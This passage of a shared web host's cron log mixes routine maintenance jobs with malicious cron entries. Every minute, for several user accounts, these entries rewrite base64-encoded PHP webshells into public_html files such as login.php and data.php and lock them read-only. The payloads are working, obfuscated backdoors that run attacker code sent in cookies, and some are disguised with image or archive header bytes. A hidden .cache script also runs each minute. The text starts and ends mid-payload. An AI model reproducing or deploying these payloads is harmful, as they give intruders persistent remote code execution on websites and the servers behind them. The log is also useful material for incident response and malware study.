SAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:23:01 medusa CROND[29993]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:23:01 medusa CROND[29994]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:24:01 medusa CROND[19738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:24:01 medusa CROND[19813]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:24:01 medusa CROND[19814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:24:01 medusa CROND[19815]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:24:01 medusa CROND[19819]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:24:01 medusa CROND[19820]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:24:01 medusa CROND[19821]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:24:01 medusa CROND[19822]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:24:01 medusa CROND[19823]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:24:01 medusa CROND[19824]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:24:01 medusa CROND[19825]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:24:01 medusa CROND[19826]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:24:01 medusa CROND[19842]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:25:01 medusa CROND[10082]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:25:01 medusa CROND[10085]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:25:01 medusa CROND[10178]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:25:01 medusa CROND[10179]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:25:01 medusa CROND[10180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:25:01 medusa CROND[10182]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:25:01 medusa CROND[10183]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:25:01 medusa CROND[10186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:25:01 medusa CROND[10185]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:25:01 medusa CROND[10190]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:25:01 medusa CROND[10191]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:25:01 medusa CROND[10187]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:25:01 medusa CROND[10192]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:25:01 medusa CROND[10188]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:25:01 medusa CROND[10198]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:25:01 medusa CROND[10207]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:25:01 medusa CROND[10209]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:25:01 medusa CROND[10210]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:25:01 medusa CROND[10200]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 08:25:01 medusa CROND[10213]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:25:01 medusa CROND[10211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:25:01 medusa CROND[10218]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl